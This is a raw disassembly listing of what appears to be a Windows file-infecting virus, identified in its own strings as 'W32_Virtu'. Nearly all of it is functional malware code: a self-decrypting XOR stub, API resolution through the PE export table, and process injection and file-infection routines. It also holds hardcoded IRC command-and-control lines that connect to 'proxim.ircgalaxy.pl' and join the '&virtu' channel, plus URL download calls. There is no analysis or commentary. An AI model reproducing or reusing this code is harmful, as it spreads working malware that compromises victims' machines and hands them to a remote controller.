dd 1C17191Dh, 0B04171Fh, 40F0105h, 3090102h, 0C07090Dh
dd 2B21080Bh, 182E252Fh, 13191610h, 10161D17h, 1B11181Bh
dd 51E151Fh, 3090A03h, 0E0F0D07h, 7090D03h, 2E0D0B0Ch
dd 242C2A26h, 19101518h, 161D1713h, 111C1111h, 1E151F1Bh
dd 9070909h, 60D0703h, 1030A0Dh, 0E050F0Bh, 24292E23h
dd 131A1228h, 1C131711h, 1E121A10h, 19171A18h, 2000B1Dh
dd 10F0404h, 0F0B0305h, 0C0A060Ch, 242B2804h, 1A122824h
dd 14131213h, 121A101Ch, 17151E12h, 0B1D19h, 0F030002h
dd 8030501h, 70A0D08h, 29200D09h, 17252D2Ah, 16111913h
dd 1A101C1Dh, 181C1C12h, 0B1D1917h, 0E050107h, 90C0402h
dd 60D0B00h, 2A040C0Ah, 252C292Fh, 12191317h, 1D131115h
dd 13111B1Fh, 18141D1Fh, 0A0B0A02h, 5010F0Ch, 8090A03h
dd 40C0A06h, 2A2E2A2Ah, 19131725h, 17151312h, 111B1F1Dh
dd 1D14181Ah, 9030715h, 10102h, 10B0F0Dh, 60C0F0Ah, 262E2C05h
dd 1410262Fh, 1E161418h, 1D1A1517h, 161E1C10h, 4031B1Fh
dd 0E060408h, 3090104h, 807090Dh, 2B210806h, 152E252Fh
dd 13191A19h, 19141D17h, 1E1C1010h, 31D1716h, 0F01050Bh
dd 2050207h, 0A00080Eh, 2C050D0Eh, 2E2F262Eh, 14181416h
dd 17171E16h, 1C101E1Ah, 1A17161Eh, 1050B06h, 502040Fh
dd 90D030Bh, 0E0E0C07h, 2C2A262Bh, 17141124h, 14121E15h
dd 1F1D191Ch, 1C1A1618h, 6040114h, 4020E04h, 80E0D0Ch
dd 50F0B01h, 24282B0Eh, 1A122824h, 121E1311h, 11191C14h
dd 1A161B1Ch, 1141Ch, 20E0404h, 0C0F0C04h, 0F0B010Bh, 24280E05h
dd 12282429h, 111B131Ah, 1A101C14h, 1F1D1212h, 0B1D1917h
dd 0C020B00h, 305010Fh, 60E0D08h, 22040C0Ah, 2824252Ah
dd 15131A12h, 101C1C15h, 1E1B121Ah, 18141D1Dh, 6030A02h
dd 0C0D04h, 0F09020Ah, 0D09070Dh, 2A242D20h, 10161A2Fh
dd 15101518h, 181E1212h, 44415010h, 10h dup(0)
dd 4A5A4900h, 1Ah dup(0)
dd 5D000000h, 574D4126h, 7F515549h, 4C454454h, 77595B4Dh
dd 0F594862h, 58515060h, 17515B5Dh, 534E5C75h, 4F625953h
dd 266B7569h, 527D102Dh, 1E534D51h, 59751815h, 56480258h
dd 4Ah, 1035h dup(0)
dd 3, 9 dup(0)
dd 1Bh, 0
dd 3Fh, 0
dd 101h, 0
; ---------------------------------------------------------------------------
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
pop eax
pop eax
push eax
inc ecx
inc esp
inc esp
dec ecx
dec esi
inc edi
push eax
inc ecx
inc esp
inc esp
assume ds:_data
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 40056C73 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 40056C86 SIZE 000000DE BYTES
; FUNCTION CHUNK AT 40056DD2 SIZE 0000000A BYTES
sub eax, eax
loc_40056C02: ; CODE XREF: start+8j
dec al
or al, al
jz short loc_40056C0C
jnz short loc_40056C02
jmp short loc_40056C73
; ---------------------------------------------------------------------------
loc_40056C0C: ; CODE XREF: start+6j
call sub_40056C38
add ebp, 2Ah
push ebp
mov edi, 243Ch
mov ebx, 0CFh
loc_40056C22: ; CODE XREF: start+31j
mov al, [ebp+0]
sub ax, bx
mov [ebp+0], al
add ebp, 1
dec edi
or edi, edi
jnz short loc_40056C22
pop ebp
jmp ebp
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40056C38 proc near ; CODE XREF: start:loc_40056C0Cp
pop ebp
jmp ebp
sub_40056C38 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dd 0E8h, 24048B00h, 242B80F7h, 0
dd 98898000h, 29ACh, 4245C8Bh, 59FC2D74h, 29B0B089h, 0B8890000h
dd 29B4h, 242FB880h, 75E80000h
db 0Dh, 3, 98h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_40056C73: ; CODE XREF: start+Aj
xor [eax+eax], ah
add [ebx+33FF025Bh], cl
jmp short loc_40056C86
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
mov ebx, [eax+2431h]
push dword ptr [ebx]
; START OF FUNCTION CHUNK FOR start
loc_40056C86: ; CODE XREF: start+7Cj
pop ebx
push ebp
xchg eax, ebp
sub [esp+arg_0], 3D851h
and ebx, 0FFFFF000h
sub ebp, 401006h
mov edi, [esp+arg_0]
lea esi, [ebp+40343Ch]
mov ecx, 0
rep movsb
loc_40056CAE: ; CODE XREF: start+CAj
cmp dword ptr [ebx+4Eh], 73696854h
jnz short loc_40056CC4
mov eax, [ebx+3Ch]
lea eax, [eax+ebx]
cmp word ptr [eax], 4550h
jz short loc_40056CCC
loc_40056CC4: ; CODE XREF: start+B5j
sub ebx, 100h
jnz short loc_40056CAE
loc_40056CCC: ; CODE XREF: start+C2j
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_40056CDA: ; CODE XREF: start:loc_40056D01j
lodsd
add eax, ebx
cmp dword ptr [eax-1], 74654700h
jnz short loc_40056D01
cmp dword ptr [eax+3], 636F7250h
jnz short loc_40056D01
cmp dword ptr [eax+7], 72646441h
jnz short loc_40056D01
cmp dword ptr [eax+0Bh], 737365h
jz short loc_40056D06
loc_40056D01: ; CODE XREF: start+E4j start+EDj ...
loop loc_40056CDA
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40056D06: ; CODE XREF: start+FFj
sub [esp+4+var_4], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
call near ptr loc_40056D2C+2
inc ebx
insb
outsd
jnb short near ptr loc_40056D8A+2
dec eax
popa
outsb
db 64h
insb
loc_40056D2C: ; CODE XREF: start+11Dp
add gs:[ebx-1], dl
setalc
mov [ebp+40353Ch], eax
call near ptr loc_40056D48+1
inc ebx
jb short near ptr loc_40056DA3+1
popa
jz short near ptr loc_40056DA3+4
inc ebp
jbe short near ptr loc_40056DA9+1
outsb
jz short near ptr loc_40056D87+2
loc_40056D48: ; CODE XREF: start+137p
add [ebx-1], dl
setalc
mov [ebp+403540h], eax
call sub_40056D64
inc edi
db 65h
jz short near ptr loc_40056DA3+4
popa
jnb short loc_40056DD2
inc ebp
jb short near ptr loc_40056DD2+1
outsd
jb short $+2
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_40056D64 proc near ; CODE XREF: start+152p
; FUNCTION CHUNK AT 40056E0D SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 40056F4D SIZE 0000013A BYTES
push ebx
call esi
mov [ebp+403544h], eax
call sub_40056DE2
test eax, eax
jz short loc_40056D97
push eax
call dword ptr [ebp+403544h]
test eax, eax
jnz short loc_40056D91
lea eax, [ebp+4011D2h]
loc_40056D87: ; CODE XREF: start+146j
mov dl, [eax-1]
loc_40056D8A: ; CODE XREF: start+125j
call sub_40056DFD
jmp short loc_40056E0D
; ---------------------------------------------------------------------------
loc_40056D91: ; CODE XREF: sub_40056D64+1Bj
; sub_40056D64+136j ...
call dword ptr [ebp+40353Ch]
loc_40056D97: ; CODE XREF: sub_40056D64+10j
test dword ptr [ebp+403431h], 80000000h
jz short loc_40056DC1
loc_40056DA3: ; CODE XREF: start+13Dj start+140j ...
lea esi, [ebp+403435h]
loc_40056DA9: ; CODE XREF: start+143j
mov edi, [esp+4]
movsb
movsd
mov ebx, [ebp+4039B2h]
mov esi, [ebp+4039B6h]
mov edi, [ebp+4039BAh]
loc_40056DC1: ; CODE XREF: sub_40056D64+3Dj
pop ebp
retn
sub_40056D64 endp
; ---------------------------------------------------------------------------
loc_40056DC3: ; CODE XREF: sub_40056DE2+2p
; sub_40056D64:loc_40056FCCp
pop edx
push 0
push 0
push 0
push 0
push 40001h
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_40056DD2: ; CODE XREF: start+15Cj start+15Fj
les ebp, [edx+0]
push eax
push 0Ch
mov eax, esp
jmp edx
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
aVt_3 db 'VT_3',0
align 2
; =============== S U B R O U T I N E =======================================
sub_40056DE2 proc near ; CODE XREF: sub_40056D64+9p
xor ecx, ecx
call loc_40056DC3
lea edx, [ebp+4011A1h]
push edx
push ecx
push ecx
push eax
call dword ptr [ebp+403540h]
add esp, 20h
retn
sub_40056DE2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40056DFD proc near ; CODE XREF: sub_40056D64:loc_40056D8Ap
; sub_40058BD1+25Bp
mov dh, dl
mov ecx, 225Fh
loc_40056E04: ; CODE XREF: sub_40056DFD+Cj
xor [eax], dl
inc eax
add dl, dh
loop loc_40056E04
retn
sub_40056DFD endp
; ---------------------------------------------------------------------------
db 23h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40056D64
loc_40056E0D: ; CODE XREF: sub_40056D64+2Bj
and dword ptr [ebp+401580h], 0
and dword ptr [ebp+401584h], 0
and dword ptr [ebp+401588h], 0
mov eax, [ebp+403431h]
xor ecx, ecx
push 1
mov cl, 20h
pop dword ptr [ebp+40397Eh]
loc_40056E34: ; CODE XREF: sub_40056D64+E0j
xor edx, edx
shr eax, 1
setb dl
shl dl, 3
add [ebp+40397Eh], edx
loop loc_40056E34
push edi
mov byte ptr [ebp+401303h], 1
mov [ebp+403548h], esi
lea esi, [ebp+4015BBh]
xor ecx, ecx
lea edi, [ebp+403558h]
mov cl, 1Eh
call sub_400571C7
pop edi
call dword ptr [ebp+403594h]
shr eax, 1Fh
jz loc_40056F4D
mov eax, [edi+14h]
push 40h
add eax, ebx
push 8001000h
mov [ebp+403550h], eax
push 69CEh
push 0
call dword ptr [ebp+4035C8h]
test eax, eax
jz loc_40056D91
xchg eax, edi
lea esi, [ebp+401000h]
mov ebp, edi
mov ecx, 0A74h
sub ebp, 401000h
lea edx, [ebp+401283h]
rep movsd
jmp edx
; END OF FUNCTION CHUNK FOR sub_40056D64
; ---------------------------------------------------------------------------
sub esp, 20h
mov edi, esp
push 8
xor eax, eax
pop ecx
lea edx, [ebp+401A3Dh]
rep stosd
mov edi, esp
mov [edi+10h], edx
inc byte ptr [edi+1Ch]
push edi
push 10003h
call dword ptr [ebp+403550h]
add esp, 20h
test eax, eax
jz loc_40056D91
xchg eax, edi
push 0
push 1
push 80000400h
push 10000h
call dword ptr [ebp+403550h]
test eax, eax
jz loc_40056D91
push 0
push eax
push 40000h
push 0
shr eax, 0Ch
push edi
push 1
push eax
push 10001h
call dword ptr [ebp+403550h]
push 1000Ah
call dword ptr [ebp+403550h]
call sub_40056F3D
jmp loc_40056D91
; =============== S U B R O U T I N E =======================================
sub_40056F3D proc near ; CODE XREF: .rsrc:40056F33p
; sub_40056F3D+Dj
push 1
pop ecx
jecxz short locret_40056F4C
push 0Ah
call dword ptr [ebp+4035BCh]
jmp short sub_40056F3D
; ---------------------------------------------------------------------------
locret_40056F4C: ; CODE XREF: sub_40056F3D+3j
retn
sub_40056F3D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40056D64
loc_40056F4D: ; CODE XREF: sub_40056D64+10Fj
cmp dword ptr [ebp+403570h], 0
jz loc_40056D91
call near ptr loc_40056F64+1
dec esi
push esp
inc esp
dec esp
dec esp
loc_40056F64: ; CODE XREF: sub_40056D64+1F6p
add bh, bh
xchg eax, ebp
mov ds:0B58D0040h, dh
jnb short near ptr loc_40056F81+5
inc eax
add [ebx], dh
leave
lea edi, [ebp+4035D0h]
mov cl, 0Bh
xchg eax, ebx
call sub_400571C7
loc_40056F81: ; CODE XREF: sub_40056D64+209j
cmp dword ptr [ebp+4035F8h], 0
jz loc_40056D91
mov eax, [ebp+4035D4h]
push dword ptr [eax+1]
pop dword ptr [ebp+403395h]
mov eax, [ebp+4035E8h]
push dword ptr [eax+1]
pop dword ptr [ebp+4033E2h]
mov eax, [ebp+4035D8h]
push dword ptr [eax+1]
pop dword ptr [ebp+4033E9h]
mov ecx, [ebp+4035DCh]
jecxz short loc_40056FCC
push dword ptr [ecx+1]
pop dword ptr [ebp+4033F6h]
loc_40056FCC: ; CODE XREF: sub_40056D64+25Dj
call loc_40056DC3
lea edi, [ebp+40364Eh]
mov ecx, edi
push 0
neg cl
push dword ptr [eax+4]
and ecx, 3
push 40h
add edi, ecx
push edi
push 0
push 18h
lea esi, [ebp+40159Fh]
mov ecx, 1Ch
mov edx, esp
lea eax, ds:0FFFFFFFEh[ecx*2]
stosw
lea eax, ds:0[ecx*2]
stosw
lea eax, [edi+4]
stosd
xor ah, ah
loc_40057011: ; CODE XREF: sub_40056D64+2B0j
lodsb
stosw
loop loc_40057011
push 0
push 69CEh
mov ecx, esp
push 0
mov eax, esp
push 0
push 8000000h
push 40h
push ecx
push edx
push 0Eh
push eax
call dword ptr [ebp+4035E0h]
pop eax
add esp, 40h
push 69CEh
mov edx, esp
push 0
mov ecx, esp
push 40h
push 0
push 2
push edx
push 0
push 69CEh
push 0
push ecx
push 0FFFFFFFFh
push eax
call dword ptr [ebp+4035E4h]
pop edi
pop ecx
test edi, edi
jz loc_40056D91
lea esi, [ebp+401000h]
mov ecx, 0A74h
mov ebp, edi
rep movsd
sub ebp, 401000h
lea eax, [ebp+40144Ch]
jmp eax
; END OF FUNCTION CHUNK FOR sub_40056D64
; ---------------------------------------------------------------------------
db 8Dh
db 95h ; •
db 0E0h, 18h, 40h
db 0
db 52h, 0FFh, 95h
db 9Ch ; œ
db 35h, 40h, 0
db 0E8h ; è
db 16h, 2 dup(0)
db 0
aLookupprivileg db 'LookupPrivilegeValueA',0
db 50h
dd 354895FFh, 85890040h, 40354Ch, 206A5450h, 95FFFF6Ah
dd 4035ECh, 755FC085h, 26A963Fh, 0D48B5656h, 0E852016Ah
dd 11h, 65446553h, 50677562h, 69766972h, 6567656Ch, 95FF5600h
dd 40354Ch, 5656C48Bh, 57565056h, 35D095FFh, 0C4830040h
dd 95FF5710h, 40353Ch, 26A006Ah, 357095FFh, 28B90040h
dd 97000001h, 0C89E12Bh, 0FF575424h, 4035AC95h, 83F63300h
dd 40363CA5h, 57540000h, 35B095FFh, 0C0850040h, 83465C74h
dd 0EE7204FEh, 82474FFh, 2A6A006Ah, 35A895FFh, 0C0850040h
dd 0E893DC74h, 43Dh, 0E391C933h, 3C853930h, 75004036h
dd 0AEC18128h, 5000000Dh, 51565054h, 0FF535050h, 40356895h
dd 59C08500h, 74FF0F74h, 858F0824h, 40363Ch, 0FFFDACE8h
dd 95FF53FFh, 40353Ch, 0C48198EBh, 128h, 3C95FF57h, 0E9004035h
dd 0FFFFFBE5h, 5800498Dh, 0CE005858h, 65000029h, 0Dh, 2 dup(0)
db 3 dup(0)
; =============== S U B R O U T I N E =======================================
sub_400571C7 proc near ; CODE XREF: sub_40056D64+100p
; sub_40056D64+218p ...
push ecx
push esi
push ebx
call dword ptr [ebp+403548h]
stosd
pop ecx
loc_400571D2: ; CODE XREF: sub_400571C7+Ej
lodsb
test al, al
jnz short loc_400571D2
loop sub_400571C7
retn
sub_400571C7 endp
; ---------------------------------------------------------------------------
aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0
aLstrlen db 'lstrlen',0
aCreatefilea_0 db 'CreateFileA',0
aCreatefilemapp db 'CreateFileMappingA',0
aCreateprocessa db 'CreateProcessA',0
aCreateremoteth db 'CreateRemoteThread',0
aCreatethread db 'CreateThread',0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0
aExitthread db 'ExitThread',0
aFiletimetosyst db 'FileTimeToSystemTime',0
aGetfileattribu db 'GetFileAttributesA',0
aGetfilesize db 'GetFileSize',0
aGetfiletime db 'GetFileTime',0
aGetmodulehan_0 db 'GetModuleHandleA',0
aGettempfilenam db 'GetTempFileNameA',0
aGettemppatha db 'GetTempPathA',0
aGetversion db 'GetVersion',0
aGetversionexa db 'GetVersionExA',0
aLoadlibrarya db 'LoadLibraryA',0
aMapviewoffile db 'MapViewOfFile',0
aOpenfilemappin db 'OpenFileMappingA',0
aOpenprocess db 'OpenProcess',0
aProcess32first db 'Process32First',0
aProcess32next db 'Process32Next',0
aSetfileattribu db 'SetFileAttributesA',0
aSetfiletime db 'SetFileTime',0
aSleep_2 db 'Sleep',0
aSystemtimetofi db 'SystemTimeToFileTime',0
aUnmapviewoffil db 'UnmapViewOfFile',0
aVirtualalloc db 'VirtualAlloc',0
aWritefile_0 db 'WriteFile',0
aNtadjustprivil db 'NtAdjustPrivilegesToken',0
aNtcreatefile db 'NtCreateFile',0
aNtcreateproces db 'NtCreateProcess',0
aNtcreateproc_0 db 'NtCreateProcessEx',0
aNtcreatesectio db 'NtCreateSection',0
aNtmapviewofsec db 'NtMapViewOfSection',0
aNtopenfile db 'NtOpenFile',0
aNtopenprocesst db 'NtOpenProcessToken',0
aNtprotectvirtu db 'NtProtectVirtualMemory',0
aNtwritevirtual db 'NtWriteVirtualMemory',0
aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0
aWsastartup db 'WSAStartup',0
aClosesocket db 'closesocket',0
aConnect db 'connect',0
aGethostbyname db 'gethostbyname',0
aRecv db 'recv',0
aSend db 'send',0
aSocket db 'socket',0
aInternetcloseh db 'InternetCloseHandle',0
aInternetgetcon db 'InternetGetConnectedState',0
aInternetopena db 'InternetOpenA',0
aInternetopenur db 'InternetOpenUrlA',0
aInternetreadfi db 'InternetReadFile',0
aAdvapi32_dll_0 db 'ADVAPI32.DLL',0
aRegclosekey_0 db 'RegCloseKey',0
aRegopenkeyex_0 db 'RegOpenKeyExA',0
aRegqueryvalu_0 db 'RegQueryValueExA',0
aRegsetvaluee_0 db 'RegSetValueExA',0
; =============== S U B R O U T I N E =======================================
sub_40057562 proc near ; CODE XREF: .rsrc:40057609p
; .rsrc:4005761Ap ...
var_5 = byte ptr -5
sub ecx, 5
sub ecx, eax
push ecx
push 0E8000000h
lea ecx, [esp+8+var_5]
push 0
push 5
push ecx
push eax
push ebx
push 5
mov ecx, esp
push eax
mov edx, esp
push eax
push esp
push 40h
push ecx
push edx
push ebx
call dword ptr [ebp+4035F0h]
add esp, 0Ch
call dword ptr [ebp+4035F4h]
add esp, 8
retn
sub_40057562 endp
; ---------------------------------------------------------------------------
push edi
lea eax, [ebp+4015B1h]
xor edi, edi
push eax
push 0
push 0Eh
call dword ptr [ebp+4035A4h]
test eax, eax
jz loc_40057645
push eax
push 69CEh
mov edx, esp
push 0
mov ecx, esp
push 40h
push 100000h
push 2
push edx
push 0
push 69CEh
push 0
push ecx
push ebx
push eax
call dword ptr [ebp+4035E4h]
pop edi
pop ecx
call dword ptr [ebp+40353Ch]
test edi, edi
jz short loc_40057645
mov ecx, [ebp+401588h]
jecxz short loc_400575FD
lea edx, [ebp+401000h]
add edx, ecx
push edi
push ebx
call edx
loc_400575FD: ; CODE XREF: .rsrc:400575EFj
mov eax, [ebp+4035D4h]
lea ecx, [edi+2394h]
call sub_40057562
mov eax, [ebp+4035E8h]
lea ecx, [edi+23E1h]
call sub_40057562
mov eax, [ebp+4035D8h]
lea ecx, [edi+23E8h]
call sub_40057562
mov eax, [ebp+4035DCh]
test eax, eax
jz short loc_40057645
lea ecx, [edi+23F5h]
call sub_40057562
loc_40057645: ; CODE XREF: .rsrc:400575AFj
; .rsrc:400575E7j ...
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 401A14h
xor ecx, ecx
lea eax, [ebp+401DAEh]
push ecx
push esp
push ecx
push ecx
push eax
push ecx
push ecx
call dword ptr [ebp+40356Ch]
xchg eax, [esp]
call dword ptr [ebp+40353Ch]
pop ebp
retn 4
; ---------------------------------------------------------------------------
dd 0E855h, 815D0000h, 401A43EDh, 8DFF6A00h, 401A0E95h
dd 0CD525000h, 2A002420h, 0CC48300h, 5485C766h, 0CD00401Ah
dd 5685C720h, 2400401Ah, 5D002A00h, 6A016AC3h, 0FF33FF01h
dd 15FF0473h, 0F074C085h, 0B68h, 5BD08B00h, 8D3C5003h
dd 401A72B5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h
dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C783C2EBh, 0D48B570Fh
dd 50CC8B53h, 51406A54h, 0FFFF6A52h, 4035F095h, 0CC48300h
dd 3574958Bh, 0D72B0040h, 0C707EA83h, 0E8006A07h, 3578900h
dd 581A6AC3h, 9E8h, 61428D00h, 75C9FEAAh
db 0F0h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_4005772A proc near ; CODE XREF: sub_40057F95+1Bp
; sub_4005810D+3p ...
imul edx, [ebp+403646h], 8088405h
inc edx
mov [ebp+403646h], edx
mul edx
retn
sub_4005772A endp
; ---------------------------------------------------------------------------
dw 0E855h
dd 0
dd 9ED815Dh, 8B00401Bh, 40364A9Dh, 247C8300h, 840F0008h
dd 0B9h, 208EC81h, 68540000h, 104h, 359095FFh, 0FC8B0040h
dd 424848Dh, 50000001h, 4E8006Ah, 56000000h, 57005452h
dd 358C95FFh, 0C9330040h, 104978Dh, 51510000h, 6A51026Ah
dd 6801h, 0FF524000h, 40355C95h, 0F6859600h, 54505B74h
dd 10468h, 0B4FF5700h, 22024h, 2895FF00h, 59004036h, 1674C085h
dd 8B5014E3h, 52006AD4h, 0FF565751h, 4035CC95h, 0C0855900h
dd 0FF56D075h, 40353C95h, 44578D00h, 446A5752h, 4978D58h
dd 0AB000001h, 106AC033h, 50ABF359h, 50505050h, 0FF525050h
dd 40356495h, 8C48100h, 0FF000002h, 0FF082474h, 40361895h
dd 95FF5300h, 403618h, 4C25Dh, 750A3E80h, 8D8B4601h, 401584h
dd 958D19E3h, 401000h, 0FF56D103h, 0FC084D2h, 11F88h, 10840F00h
dd 80000001h, 10753A3Eh, 3E8046h, 101840Fh, 3E800000h
dd 46F17520h, 49503E81h, 4275474Eh, 46C6CF8Bh, 0CE2B4F01h
dd 51006A51h, 95FF5356h, 403610h, 0FC13B59h, 0DF85h, 0A2858D00h
dd 6A00401Dh, 0C6800h, 53500000h, 361095FFh, 0C3D0040h
dd 0F000000h, 0BF85h, 0B1E900h, 3E810000h, 56495250h, 0A5850Fh
dd 0C6830000h, 0D3CAC08h, 99840Fh, 203C0000h, 3CACF375h
dd 8C850F3Ah, 0AD000000h, 2020200Dh, 67213D20h, 7F757465h
dd 75203CACh, 0FF7E817Ch, 74746820h, 7E817175h, 2F3A7003h
dd 0C668752Fh, 0F00FF47h, 2710BA31h, 0E2F70000h, 0BC95FF52h
dd 33004035h, 505050C0h, 9E850h, 6F440000h, 6F6C6E77h
dd 0FF006461h, 40362095h, 74C08500h, 89C93336h, 40364A85h
dd 685100h, 51800002h, 0FF505651h, 40362495h, 3958D00h
dd 5000401Bh, 5154C933h, 51515250h, 356C95FFh, 4870040h
dd 3C95FF24h, 0F8004035h, 778D80C3h, 1004015h, 4F53C3F9h
dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch
dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h
dd 6C707845h, 7265726Fh, 72615400h, 48746567h, 74736Fh
dd 0F0FF0002h, 0
aProxim_ircgala db 'proxim.ircgalaxy.pl',0
aNickRecyrvbqUs db 'NICK recyrvbq',0Ah
db 'USER v020501 . . :-JOIN &virtu',0Ah
db 'Uè',0
dd 5D000000h, 1DB4ED81h, 85C60040h, 401577h, 9495FF00h
dd 0C1004035h, 3C741FE8h, 0B58B1E6Ah, 403550h, 2E3CAC59h
dd 81662A75h, 751DFF3Eh, 40BD8D23h, 8B004036h, 0A5570276h
dd 858DA566h, 40336Ah, 3390858Fh, 89FA0040h, 4E8CFA46h
dd 1B1FBFEh, 43EBCFE2h, 15B1858Dh, 6A500040h, 0FF0E6A00h
dd 4035A495h, 247C8300h, 2B750408h, 4E8h, 43465300h, 8895FF00h
dd 0E8004035h, 0FFFFFC48h, 7E8h, 43465300h, 534F5Fh, 358895FFh
dd 31E80040h, 0E8FFFFFCh, 0FFFFF356h, 13038DFFh, 0BE80040h
dd 55000000h, 33524553h, 4C442E32h, 95FF004Ch, 40359Ch
dd 0AE8h, 70737700h, 746E6972h, 50004166h, 354895FFh, 85890040h
dd 403554h, 8D8D310Fh, 4018E0h, 36468589h, 0FF510040h
dd 40359C95h, 4689300h, 8D000000h, 4018EDB5h, 0BD8D5900h
dd 40362Ch, 0FFF6D6E8h, 85C766FFh, 401D67h, 0A583F0FFh
dd 401D69h, 27958D00h, 5000401Dh, 6A016A54h, 2685200h
dd 0FF800000h, 40363095h, 5AC08500h, 8D8D2275h, 401D5Ah
dd 8D066A52h, 401D67B5h, 50565400h, 0FF525150h, 40363495h
dd 95FF5800h, 40362Ch, 384D85C6h, 0E8000040h, 0Ch, 434F5357h
dd 2E32334Bh, 4C4C44h, 359C95FFh, 68930040h, 7, 1844B58Dh
dd 8D590040h, 4035FCBDh, 0F651E800h, 0CE8FFFFh, 57000000h
dd 4E494E49h, 442E5445h, 0FF004C4Ch, 40359C95h, 0FC08500h
dd 1E784h, 5689300h, 8D000000h, 401882B5h, 0BD8D5900h
dd 403618h, 0FFF61AE8h, 1CBD83FFh, 4036h, 1C2840Fh, 0EC810000h
dd 190h, 1016854h, 95FF0000h, 4035FCh, 190C481h, 8B500000h
dd 52006AD4h, 361C95FFh, 0C0850040h, 680D7559h, 1388h
dd 35BC95FFh, 0E2EB0040h, 1D69BD83h, 75000040h, 6D858D29h
